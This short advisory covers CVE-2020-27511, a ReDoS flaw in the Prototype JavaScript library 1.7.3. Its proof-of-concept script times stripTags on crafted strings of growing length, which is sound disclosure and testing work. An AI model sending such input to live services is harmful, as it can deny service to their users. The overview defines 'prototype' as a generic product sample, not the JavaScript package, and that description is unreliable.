CVE-2020-27511

Package

prototype

Overview

A **prototype** is an early sample, model, or release of a product built to test a concept or process.

Regular Expression Denial of Service (ReDOS) in Prototype 1.7.3

It allows cause a denial of service when stripping crafted tags.

Proof of Concept

```
var prototype = require("prototype/lib/String")
function build_attack(n) {
        var ret = "hello <span> <a "
        for (var i = 0; i < n; i++) {
                ret += "'"
        }

        return ret+"!";
}

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = build_attack(i)
    attack_str.stripTags()
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
```